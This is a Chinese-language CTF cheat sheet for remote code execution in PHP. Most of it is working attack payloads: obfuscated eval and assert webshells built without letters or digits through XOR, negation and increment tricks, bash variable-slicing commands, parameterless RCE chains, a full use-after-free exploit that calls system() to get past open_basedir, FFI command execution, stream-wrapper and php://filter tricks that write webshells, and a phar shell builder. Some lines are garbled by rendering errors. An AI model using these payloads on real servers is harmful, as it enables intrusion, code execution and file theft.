$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

POST 传值_=system('ls');


//简洁版-php5
$_=('%40%5B%5B%40%5B%5B'^'%21%28%28%25%29%2F'); //assert
$__=('%40%40%40%40%40'^'%1F%10%0F%13%14'); //_POST
$__=$$__;  //$_POST
$_($__[_]); //assert($_POST[_])
//整理一下
$_=('%40%5B%5B%40%5B%5B'^'%21%28%28%25%29%2F');$__=('%40%40%40%40%40'^'%1F%10%0F%13%14');$__=$$__;$_($__[_]);



//php7
    ('%40%40%40%40%40%5B%5B%5B%40%40%40%40%5B%40%40%5B%5B'^'%26%29%2C%25%1F%2B.%2F%1F%23%2F.%2F%25.%2F%28')('%5B%00%5B%40%5B'^'%23.%2B%28%2B','%10%10%10%00%40%5B%40%40%00%00%40%40%40%40%40%40%10%40%00%10'^'%2C%2F-+%25-%21%2C%28%24%1F%10%0F%13%14%1B%21%1D%29%2B');
           file_put_contents                                                                                               x.php                        <?= eval($_POST[1]);


data=$__%3d%27_%27%3b$__.%3d(%22v%22^%22%26%22)%3b$__.%3d(%22l%22^%22%23%22)%3b$__.%3d(%27v%27^%27%25%27)%3b$__.%3d(%27*%27^%27[%27^%27%25%27)%3beval($$__[%27_%27])%3b
post传_

<?php $a="~+d()"^"!{+{}";@$b=base64_decode(${$a}["a"]);eval("".$b);?>

=》SUCTF 2019-EasyPHP

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

2024-01-18T16:15:35.png

exp

<?php
$shell="assert";
$r1="";
$r2="";
for($n=0;$n<strlen($shell);$n++){
    for($i=0;$i<126;$i++){
        for($j=0;$j<126;$j++){
            if(preg_match('/[0-9]|[a-z]/i',chr($i)) || preg_match('/[0-9]|[a-z]/i',chr($j))){
                break;
            }
            $a=chr($i) | chr($j);
            if($a==$shell[$n]){
                $r1.=chr($i);
                $r2.=chr($j);
                break 2;
            }
        }
    }
}

echo urlencode($r1);
echo "<br>";
echo urlencode($r2);
?>

//php5
$_=('%40%60%60%40%60%60'|'%21%13%13%25%12%14');$__=('%40%40%40%40%40'|'%1F%10%0F%13%14');$__=$$__;$_($__[_]);

//php7
('%40%40%40%40%40%60%60%60%40%40%40%40%60%40%40%60%60'|'%26%29%2C%25%1F%10%15%14%1F%23%2F.%14%25.%14%13')('%40%60%00%60%40%60'|'%23%18.%10%28%10','%10%10%10%00%40%60%40%40%00%00%40%40%40%40%40%40%40%40%40%40%00%10'|'%2C%2F-+%25%16%21%2C%28%24%1F%10%0F%13%14%1B%23-%24%1D%29%2B');
       file_put_contents                                                                                               cx.php                        <?= eval($_POST[cmd]);

取反

<?php    // **适用于php7**
highlight_file(__FILE__);
$code1="system";
$code2="cat /flag";
echo "<br>";
echo "(~".urlencode(~$code1).")(~".urlencode(~$code2).");";

在php7下也可以file_put_contents()来写入shell(注意写入权限)。php7支持 ($a)() 这种写法

<?php
$a="file_put_contents";
$b=~$a;
echo urlencode($b);
echo "<br>";
$file='4.php';
$d=~$file;
echo urlencode($d);
echo "<br>";
$con="<?php eval(\$_POST[1]);";
$e=~$con;
echo urlencode($e);
?>

(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));  //file_put_contents('4.php','<?php eval($_POST[1]);');
<?php  // **适用于php5**
$a="assert";
$b=~$a;
echo urlencode($b);
echo "<br>";
$c='_POST';
$d=~$c;
echo urlencode($d);
?>
构造webshell如下:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);   //密码为_  

自增

POST

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

相当于传入eval(@_POST[_]);

POST  _=phpinfo();


$_=''.[];$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$___=++$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=_.$___.$__.$_;$$_[_]($$_[__]);

GET?_=system&__=cat /f*;


$___.=[];$_=$___[3];$_++;$_++;$__=$_++;$_++;$_++;$_++;$__.=++$_.$___[2];$_=_.$__(71).$__(69).$__(84);($$_{1})($$_{2});
// 利用构造数组获取字母 然后自增构造chr函数
GET?1=system&2=cat /f*


NKCTF=$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);&_POST=highlight_file&_=/flag



code=$=(/.);$=$[''!=''];$%ff=%2b%2b$;$%ff=%2b%2b$.$%ff;$%2b%2b;$%2b%2b;$%ff.=%2b%2b$;$%ff.=%2b%2b$;$=.$%ff;$$_;&=system&__=cat /flag


rce=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*

ctfshow rce限制长度自增篇

利用shell脚本变量构造无字母数字命令

Bash内置变量利用

${RANDOM} :随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录
SHLVL   下面

#获取数字
0    Z 、 {Z}、 Z、{#}    可以用字符代替
1    KaTeX parse error: Expected '}', got '#' at position 2: {#̲SHLVL}、{##}、${#?}    表格下面的代码段
1    先<A;在然后的$?就是1    web入门122
2    ${PHP_VERSION:~A}    本题php的版本是7.3.22
3    {#IFS}    linux下是3,mac里是4
4/5    ${#RANDOM}    linux下,返回的值大多数是4和5
a    ${USER:~A}    www-data最后一位
v    KaTeX parse error: Expected '}', got 'EOF' at end of input: {PWD:{##}{##}}    ${PWD}第二位
t    KaTeX parse error: Expected '}', got 'EOF' at end of input: {USER:~{#SHLVL}{#SHLVL}}    ~1 从倒数第二个开始取,取一个
t    KaTeX parse error: Expected '}', got 'EOF' at end of input: {HOME:{#HOSTNAME}{#SHLVL}}    
/    KaTeX parse error: Expected '}', got 'EOF' at end of input: {PWD::{#SHLVL}}    /var/www/html取第一位
/    KaTeX parse error: Expected '}', got 'EOF' at end of input: {PWD:{Z}{#SHLVL}}    /var/www/html取第一位
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。RANDOM
此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。IFS
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3

如果环境变量PATH一般是/bin,题目路径PWD/var/www/html,可以利用切片来获得所需要的字母来构造shell,例如

echo ${PWD:2:3}
echo ${PWD:~0:1}          //从末尾开始取一个(~是从最后开始往前取)
echo ${PWD:~J}     //使用取反号时,任何字母等同于数字0(即取最后一位)

所以,${PATH:~A}${PWD:~A},组合起来就是nl。

直接

${PATH:~A}${PWD:~A} ????.???    #nl flag.php
#不知道是个啥
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???  ${PATH:~A}${PWD:~A:${##}} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???就是/???/?a? ????.???就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???   就是/???/??t ????.???就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???就是/???/?????4 ????.???就是/bin/base64 flag.php

过滤${#SHLVL}可以用${##}${#?}

${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???     #就是/???/??v ????.???就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???     #就是/???/?????4 ????.???就是/bin/base64 flag.php(这玩意是随机的)

如果用base64,且过滤了PWD,我们还能用HOME。无论HOME是什么(比如/xxx/xxx),HOME的第一位肯定是/,现在需要构造数字14

可以利用$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败

执行<A等命令会因找不到目录或者文件执行失败,返回值是1,$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。

也就是先<A;在然后的$?就是1 ((${Z}代表0))

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???

还有一个

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

//这个要在请求头里面加一个  1:tac flag.php  

shell脚本中$的多种用法

$0    脚本本身的名字
$1    脚本后所输入的第一串字符
$2    传递给该shell脚本的第二个参数
$*    脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@    脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_    表示上一个命令的最后一个参数
$#    #脚本后所输入的字符串个数
$$    脚本运行的当前进程ID号
$!    表示最后执行的后台命令的PID
$?    显示最后命令的退出状态,0表示没有错误,其他表示由错误

https://xz.aliyun.com/t/12242

$(())构造数字

在linux中

${_} 代表上一次命令执行的结果

$(()) 代表做运算,为0

$((~$(()))) 代表~0(0取反)为-1

$((~$(()))) $((~$(()))) $((~$(()))) 代表-1-1-1

$(( $((~$(())))$((~$(())))$((~$(()))) )) 代表-1-1-1做运算就是-3

$((~$(( $((~$(())))$((~$(())))$((~$(()))) )))) 代表-1-1-1做运算后-3取反就是2

对于最后一个,如果中间37个$((~$(())))就是-37,取反后就是36

限制长度rce

只能说这种方法挺“开心”的

cs.png
我试了一下

echo "12341" >cx1

注意$前\转义
第一个文件后不要\拼接

无参数RCE

核心

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);
        }

这段正则只允许
a(b(c(d())));
之类的代码运行,而
a(b(c(d('ls'))));不可以


localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
dirname()本质上就意味着如果在 path 中没有斜线,则返回一个点('.'),表示**当前目录**。否则返回的是把 path 中结尾的 /component(最后一个斜线以及后面部分)去掉之后的字符串。注意这意味着在老的函数返回一个空字符串的情形下通常从 dirname() 得到的是斜线或者一个点。
pos() – 返回数组中的当前单元, 默认取第一个值。**pos() 是current() 的别名**。
current()   当前单元
next() – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录 。scandir("."):得到该文件下的所有文件和文件夹
readfile()函数:读取文件并写入到输出缓冲。 echo(readfile())
readgzfile()函数:readgzfile 也可读文件,常用于绕过过滤
highlight_file()读取 filename 文件中语法高亮版本的代码
array_reverse() – 翻转数组
array_flip() 函数: 反转/交换数组中的键和值,成功则返回交换后的数组,失败返回NULL。
array_rand()函数:从数组中随机取出一个或多个单元,如果只取出一个,返回随机单元的键名。 如果不止一个,返回包含随机键名的数组。第二个参数number默认为1.

有几个相对特殊点的:
getallheaders() 这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了
getallheaders()

get_defined_vars()上面说到了,getallheaders()是有局限性的,因为如果中间件不是apache的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars(),它并不是获取的headers,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到**current()**函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:
get
post

键与值反转交换后,数组里 文件名变为了值。array_rand()从数组中随机取出一个单元的键名,不断刷新访问就会不断随机返回,具体题目中多刷新几次就出来flag文件了。

print_r(array_rand(array_flip(scandir(pos(localeconv())))));

总结一下就是

print_r(scandir(current(localeconv())));查看当前目录
var_dump(scandir(getcwd())); 查看当前目录
var_dump(scandir(pos(localeconv())));查看当前目录
var_dump(scandir(dirname(getcwd())));查看上级目录

session_id()可以获取PHPSESSID的值,而我们知道PHPSESSID只允许字母和数字出现,而flag.php符合条件.因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。session_id()可以获取到当前的session id。这样可以构造payload:?
exp=readfile(session_id(session_start()));

或者把一句话之类的代码写进session,用session_id()读取,eavl执行。要注意的是,PHPSESSIID中只能有A-Z a-z 0-9,-,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin()
演示图.png

chr()&chdir()&dirname()函数

chr()与ord()互补,返回ascll码对应的字符. 什么时候用呢?

因为当秒数为46时,chr(46)=”.”,可以用来获取点(.) 当localeconv()被过滤时可用。

chr 函数以256为一个周期,所以 chr(46) , chr(302) , chr(558) 都等于 "."

所以使用 chr(time()) ,一个周期必定出现一次 "."

chr(current(localtime(time()))) :

数组第一个值每秒+1,所以最多60秒就一定能得到46,用 current或pos 就能获得 "."

chdir("..")返回上一级目录。scandir()出来的数组里有 . (当前目录) 和 ..(上一级目录)。

print_r(scandir(next(scandir(getcwd))));可查看上级目录文件

dirname():返回上一级目录,路径中的目录部分。

getcwd():返回当前目录。

可用chdir(dirname(getcwd))来更改目录。

ping

其他

在没有过滤反引号`的情况下可以

?code=printf(`l\s /`);      ``相当于exec(),无输出,需要打印
内联执行绕过
?code=a=ag;b=fl;cat $b$a;   //相当于 cat flag

//当前目录下有 index.php、flag.php
cat `ls`;
//相当于 cat index.php;cat flag.php, 将ls命令的结果给cat去执行


echo Y2F0IDEudHh0|base64 -d|tee 2.txt

总结一些php的用法

c=print_r(scandir(dirname('__FILE__')));(查看根目录:print_r(scandir(‘/’)); )
c=var_export(glob('/*'));die();
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
(glob协议不受open_basedir限制)
c=echo file_get_contents('flag.php');c=echo highlight_file('flag.php');
c=highlight_file("flag.php");
c=show_source('flag.php');
$a=fopen("flag.php","r");

while($b=fgets($a)){
echo $b;
}

c=print_r(file('flag.php'));//file()函数:把整个文件读入一个数组中
c=var_dump(file('flag.php'));c=readfile("flag.php");//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

##################
c=include('/flag.txt');var_export(get_defined_vars());exit();
##################

c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
//ob_get_contents():得到缓冲区的内容(数据)。
//ob_end_clean():会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。

下面那个payload需要根据需要闭合源码修改命令URL编码(可以绕过open_basedir制约读取文件)(注释有点干扰,,,,,)

c=?><?php
pwn("tac /flag0.txt");function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace(); # ;)if(!isset($backtrace[1]['args'])) { # PHP >= 7.4$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf('%c',$ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf('%c',$v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if UAF fails$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}

利用mysqlload_file读文件,也绕过open_basedir 限制,前提是必须要有数据库名、账号密码PDO随PHP5.1发行,应用条件是PHP>5.1

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
    echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

然后就是php7.4了,这里应该想到FFI(php7.4以上才有,是PHP的一个扩展。提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。)

利用FFI扩展用C语言(?)执行命令,绕过open_basedir 限制。(只限制了PHP的访问目录,不关C语言的事情)

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';   //没有回显,需要重定向到文件
$ffi->system($a);       //通过$ffi去调用system函数

PHP伪协议

php伪协议.png

php://input

-------可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data​"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。当遇到正则匹配时GET传参不能出现的敏感字符,可以通过php://input在POST上传绕过检测。

GET : index.php?cmd=php://input
 
POST : <?php phpinfo(); ?>(目的数据)
写入<?php fputs(fopen('cx.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data://

和**php://input**作用相同,如果碰到input被过滤的情况可以用其替代,这个协议叫data://协议,也比较常用。

和php://input不同的是data://需要 allow_url_fopen、allow_url_include都需要打开(on)。

格式也稍稍有点不同,全部是在GET实现的

file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
?file=data://text/plain,<?php%20phpinfo();?>

php://filter

resource<--->要过滤的数据流    这是个必要参数。它指定了你需要筛选过滤的数据流(简单来说就是你的数据来源)
read<--->读链的筛选列表    这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔
write<--->读链的筛选列表    这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔


读:php://filter/resource=文件名 
php://filter/read=convert.base64-encode/resource=文件名

写:php://filter/resource=文件名&txt=文件内容
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php//先去除原存在的XML标签内容,后将内容base64解码写入文件

php://filter/read=consumed/resource=log/error.txt  清空文件

p神:关于filter妙用

谈一谈php://filter的妙用

php://filter是PHP中独有的协议,利用这个协议可以创造很多“妙用”,本文说几个有意思的点,剩下的大家自己下去体会。本来本文的思路我上半年就准备拿来做XDCTF2016的题目的,没想到被三个白帽的一题抢先用了,我也就只好提前分享一下。

XXE中的使用

php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

readfile("php://filter/read=convert.base64-encode/resource=php://input");

如下:

123

所以,在XXE中,我们也可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。

如下,我们使用的是php://filter/read=convert.base64-encode/resource=./xxe.php

33

巧用编码与解码

使用编码不光可以帮助我们获取文件,也可以帮我们去除一些“不必要的麻烦”。

记得前段时间三个白帽有个比赛,其中有一部分代码大概类似于以下:

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最后效果是 :
111

利用字符串操作方法

有的同学说,base64的算法我不懂,上面的方法太复杂了。

其实,除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?

实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

echo readfile('php://filter/read=string.strip_tags/resource=php://input');

6

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

最终的数据包如下:

3

除此之外,我们还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

66
当然,这个方法的条件就是不开启短标签。

require_once绕过

<?php
error_reporting(0);

include 'flag.php';

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include_once $file;
    } else {
        die('error.');
    }
}

PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

zip:// & bzip2:// & zlib:// 协议

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

zip://协议

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
?file=zip://E:phpStudyPHPTutorial/WWW/aaa.jpg#dir/file.txt(#编码为%23)

bzip2://协议

?file=compress.bzip2://./file.jpg

zlib://协议

?file=compress.zlib://./file.jpg

phar://

暴力方法

我们直接创建一个一句话木马文件,并将其压缩为zip文件。

shell.php -> shell.zip

<?=eval($_REQUEST['cmd']);?>

?bingdundun=phar://51120.zip/shell(后缀自动补全)

常规做法

<?php
    $payload = '<?php eval($_POST["root"]); ?>';  // 一句话木马
    $phar = new Phar("shell.phar");  // 后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  // 设置stub
    $phar->addFromString("1.php", "$payload");  // 添加要压缩的文件
    // $phar->setMetadata(...);  // 在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
    $phar->stopBuffering();
?>

生产phar文件

反序列化

<?php
highlight_file(__FILE__);
class Testobj
{
    var $output='';
}

